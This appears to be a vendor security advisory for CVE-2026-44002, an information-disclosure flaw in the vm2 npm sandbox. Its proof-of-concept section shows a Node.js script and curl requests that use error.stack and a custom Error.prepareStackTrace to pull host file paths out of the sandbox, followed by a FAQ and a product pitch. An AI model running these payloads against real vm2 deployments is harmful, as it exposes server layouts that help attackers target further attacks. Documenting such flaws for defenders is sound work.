CVE-2026-44002

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

• getFileName(), returns host absolute paths like /app/node_modules/vm2/lib/vm.js
• getLineNumber(), getColumnNumber(), exact source locations
• getFunctionName(), getMethodName(), getTypeName(), internal function names

Two exploitation paths exist:

1. Default error.stack: new Error().stack includes host frame paths in the formatted string
2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script, primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A, Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B, prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

• Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
• Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
• Scope: All applications using vm2. No special configuration required.

CVE-2026-44002 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44002? CVE-2026-44002 is a medium-severity security vulnerability in vm2 (npm), affecting versions <= 3.10.5. It is fixed in 3.11.0.
2. How severe is CVE-2026-44002? CVE-2026-44002 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-44002? vm2 (npm) versions <= 3.10.5 is affected.
4. Is there a fix for CVE-2026-44002? Yes. CVE-2026-44002 is fixed in 3.11.0. Upgrade to this version or later.
5. Is CVE-2026-44002 exploitable, and should I be worried? Whether CVE-2026-44002 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44002 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44002? Upgrade vm2 to 3.11.0 or later.